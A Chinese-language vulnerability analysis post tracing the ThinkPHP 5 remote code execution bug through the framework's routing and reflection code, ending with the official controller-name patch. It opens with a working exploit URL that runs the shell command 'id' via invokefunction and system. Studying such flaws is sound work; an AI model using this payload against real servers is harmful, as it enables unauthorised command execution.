漏洞复现

  1. http://xxx.xxx.xxx.xxx/tp5/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

image.png

漏洞分析

首先在入口文件处断点,访问带有exploit的链接,一步步跟到thinkphp\library\think\App.php中的run方法。

  1. public static function run(Request $request = null)
  2. {
  3. $request = is_null($request) ? Request::instance() : $request;
  4. try {
  5. $config = self::initCommon();
  6. // 模块/控制器绑定
  7. if (defined('BIND_MODULE')) {
  8. BIND_MODULE && Route::bind(BIND_MODULE);
  9. } elseif ($config['auto_bind_module']) {
  10. // 入口自动绑定
  11. $name = pathinfo($request->baseFile(), PATHINFO_FILENAME);
  12. if ($name && 'index' != $name && is_dir(APP_PATH . $name)) {
  13. Route::bind($name);
  14. }
  15. }
  16. $request->filter($config['default_filter']);
  17. // 默认语言
  18. Lang::range($config['default_lang']);
  19. // 开启多语言机制 检测当前语言
  20. $config['lang_switch_on'] && Lang::detect();
  21. $request->langset(Lang::range());
  22. // 加载系统语言包
  23. Lang::load([
  24. THINK_PATH . 'lang' . DS . $request->langset() . EXT,
  25. APP_PATH . 'lang' . DS . $request->langset() . EXT,
  26. ]);
  27. // 监听 app_dispatch
  28. Hook::listen('app_dispatch', self::$dispatch);
  29. // 获取应用调度信息
  30. $dispatch = self::$dispatch;
  31. // 未设置调度信息则进行 URL 路由检测
  32. if (empty($dispatch)) {
  33. $dispatch = self::routeCheck($request, $config);
  34. }
  35. // 记录当前调度信息
  36. $request->dispatch($dispatch);
  37. // 记录路由和请求信息
  38. if (self::$debug) {
  39. Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
  40. Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
  41. Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
  42. }
  43. // 监听 app_begin
  44. Hook::listen('app_begin', $dispatch);
  45. // 请求缓存检查
  46. $request->cache(
  47. $config['request_cache'],
  48. $config['request_cache_expire'],
  49. $config['request_cache_except']
  50. );
  51. $data = self::exec($dispatch, $config);
  52. } catch (HttpResponseException $exception) {
  53. $data = $exception->getResponse();
  54. }
  55. // 清空类的实例化
  56. Loader::clearInstance();
  57. // 输出数据到客户端
  58. if ($data instanceof Response) {
  59. $response = $data;
  60. } elseif (!is_null($data)) {
  61. // 默认自动识别响应输出类型
  62. $type = $request->isAjax() ?
  63. Config::get('default_ajax_return') :
  64. Config::get('default_return_type');
  65. $response = Response::create($data, $type);
  66. } else {
  67. $response = Response::create();
  68. }
  69. // 监听 app_end
  70. Hook::listen('app_end', $response);
  71. return $response;
  72. }

代码很长,但关键部分只有几处,接下来开始调试。

  1. if (empty($dispatch)) {
  2. $dispatch = self::routeCheck($request, $config);
  3. }

当代码运行到这里,调用routeCheck来获取调度信息,跟进去看看代码

  1. public static function routeCheck($request, array $config)
  2. {
  3. $path = $request->path();
  4. $depr = $config['pathinfo_depr'];
  5. $result = false;
  6. // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
  7. if (false === $result) {
  8. $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
  9. }
  10. return $result;
  11. }

第三行代码,通过path()获取路径,值为index/\think\app/invokefunction,剩余的变量存储在$_GET

  1. $_GET
  2. array(2)
  3. function: "call_user_func_array"
  4. vars: array(2)

继续调试,到第8行,这里因为$result为假,所以调用Route::parseUrl处理路径,最后得到了一个$result数组,其内容:

  1. type:"module"
  2. module:array(3)
  3. 0:"index"
  4. 1:"\think\app"
  5. 2:"invokefunction"

接着返回到run方法中,将返回的数据通过$request->dispatch($dispatch)存入$dispatch
接着运行到调用exec部分

  1. $data = self::exec($dispatch, $config);

跟进去继续看代码

  1. protected static function exec($dispatch, $config)
  2. {
  3. switch ($dispatch['type']) {
  4. case 'redirect': // 重定向跳转
  5. $data = Response::create($dispatch['url'], 'redirect')
  6. ->code($dispatch['status']);
  7. break;
  8. case 'module': // 模块/控制器/操作
  9. $data = self::module(
  10. $dispatch['module'],
  11. $config,
  12. isset($dispatch['convert']) ? $dispatch['convert'] : null
  13. );
  14. break;
  15. case 'controller': // 执行控制器操作
  16. $vars = array_merge(Request::instance()->param(), $dispatch['var']);
  17. $data = Loader::action(
  18. $dispatch['controller'],
  19. $vars,
  20. $config['url_controller_layer'],
  21. $config['controller_suffix']
  22. );
  23. break;
  24. case 'method': // 回调方法
  25. $vars = array_merge(Request::instance()->param(), $dispatch['var']);
  26. $data = self::invokeMethod($dispatch['method'], $vars);
  27. break;
  28. case 'function': // 闭包
  29. $data = self::invokeFunction($dispatch['function']);
  30. break;
  31. case 'response': // Response 实例
  32. $data = $dispatch['response'];
  33. break;
  34. default:
  35. throw new \InvalidArgumentException('dispatch type not support');
  36. }
  37. return $data;
  38. }

因为$dispatch中的type为moudle,程序会调用self::module()方法。
继续跟进去

  1. public static function module($result, $config, $convert = null)
  2. {
  3. if ($config['app_multi_module']) {
  4. // 多模块部署
  5. $module = strip_tags(strtolower($result[0] ?: $config['default_module']));
  6. $bind = Route::getBind('module');
  7. $available = false;
  8. if ($bind) {
  9. // 绑定模块
  10. list($bindModule) = explode('/', $bind);
  11. if (empty($result[0])) {
  12. $module = $bindModule;
  13. $available = true;
  14. } elseif ($module == $bindModule) {
  15. $available = true;
  16. }
  17. } elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module)) {
  18. $available = true;
  19. }
  20. // 模块初始化
  21. if ($module && $available) {
  22. // 初始化模块
  23. $request->module($module);
  24. $config = self::init($module);
  25. // 模块请求缓存检查
  26. $request->cache(
  27. $config['request_cache'],
  28. $config['request_cache_expire'],
  29. $config['request_cache_except']
  30. );
  31. } else {
  32. throw new HttpException(404, 'module not exists:' . $module);
  33. }
  34. } else {
  35. // 单一模块部署
  36. $module = '';
  37. $request->module($module);
  38. }
  39. // 设置默认过滤机制
  40. $request->filter($config['default_filter']);
  41. // 当前模块路径
  42. App::$modulePath = APP_PATH . ($module ? $module . DS : '');
  43. // 是否自动转换控制器和操作名
  44. $convert = is_bool($convert) ? $convert : $config['url_convert'];
  45. // 获取控制器名
  46. $controller = strip_tags($result[1] ?: $config['default_controller']);
  47. $controller = $convert ? strtolower($controller) : $controller;
  48. // 获取操作名
  49. $actionName = strip_tags($result[2] ?: $config['default_action']);
  50. if (!empty($config['action_convert'])) {
  51. $actionName = Loader::parseName($actionName, 1);
  52. } else {
  53. $actionName = $convert ? strtolower($actionName) : $actionName;
  54. }
  55. // 设置当前请求的控制器、操作
  56. $request->controller(Loader::parseName($controller, 1))->action($actionName);
  57. // 监听module_init
  58. Hook::listen('module_init', $request);
  59. try {
  60. $instance = Loader::controller(
  61. $controller,
  62. $config['url_controller_layer'],
  63. $config['controller_suffix'],
  64. $config['empty_controller']
  65. );
  66. } catch (ClassNotFoundException $e) {
  67. throw new HttpException(404, 'controller not exists:' . $e->getClass());
  68. }
  69. // 获取当前操作名
  70. $action = $actionName . $config['action_suffix'];
  71. $vars = [];
  72. if (is_callable([$instance, $action])) {
  73. // 执行操作方法
  74. $call = [$instance, $action];
  75. // 严格获取当前操作方法名
  76. $reflect = new \ReflectionMethod($instance, $action);
  77. $methodName = $reflect->getName();
  78. $suffix = $config['action_suffix'];
  79. $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
  80. $request->action($actionName);
  81. } elseif (is_callable([$instance, '_empty'])) {
  82. // 空操作
  83. $call = [$instance, '_empty'];
  84. $vars = [$actionName];
  85. } else {
  86. // 操作不存在
  87. throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
  88. }
  89. Hook::listen('action_begin', $call);
  90. return self::invokeMethod($call, $vars);
  91. }

这段代码的主要作用在于获取了控制器名,操作名,通过$request->controller(Loader::parseName($controller, 1))->action($actionName);设置请求的控制器、操作,并将其实例化给$instance
之后判断在控制器中是否存在操作名

  1. if (is_callable([$instance, $action])) {
  2. // 执行操作方法
  3. $call = [$instance, $action];
  4. // 严格获取当前操作方法名
  5. $reflect = new \ReflectionMethod($instance, $action);
  6. $methodName = $reflect->getName();
  7. $suffix = $config['action_suffix'];
  8. $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
  9. $request->action($actionName);
  10. }

操作名存在则把操作名给$call,传入invokeMethod并调用。

  1. public static function invokeMethod($method, $vars = [])
  2. {
  3. if (is_array($method)) {
  4. $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
  5. $reflect = new \ReflectionMethod($class, $method[1]);
  6. } else {
  7. // 静态方法
  8. $reflect = new \ReflectionMethod($method);
  9. }
  10. $args = self::bindParams($reflect, $vars);
  11. self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
  12. return $reflect->invokeArgs(isset($class) ? $class : null, $args);
  13. }

代码第四行、第五行,通过反射得到控制器名,操作名。
第十一行,通过bindParams得到剩余的参数

  1. 0:"call_user_func_array"
  2. 1:array(2)
  3. 0:"system"
  4. 1:array(1)
  5. 0:"id"

在最后,调用invokeArgs方法,传入args,执行call_user_func_array,并将数组中的参数传进去。
最终,成功实行命令

PHP反射

PHP手册中invokeArgsReflectionMethod的用法

  1. <?php
  2. class HelloWorld {
  3. public function sayHelloTo($name) {
  4. return 'Hello ' . $name;
  5. }
  6. }
  7. $reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');
  8. echo $reflectionMethod->invokeArgs(new HelloWorld(), array('Mike'));
  9. ?>

将类名和方法名传入ReflectionMethod中并实例化,接着调用其中的内置参数invokeArgs,并将要调用的方法所需要的参数以数组形式传入即可成功调用sayHelloTo

漏洞修复

官方给出了修复补丁,在moudle中添加了验证

  1. if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
  2. throw new HttpException(404, 'controller not exists:' . $controller);
  3. }

结语

虽说是分析了一下漏洞,但是实际上还是很多地方不清楚,很多地方说的可能不对。
但总算大致是清楚了是由于没有进行过滤,而在app类中又有invokeFunction这样危险的函数,从而导致了漏洞发生。

参考

ThinkPHP 5简明开发手册 分析ThinkPHP5框架从入口到输出界面的加载流程 thinkphp 5.0.22 rce漏洞学习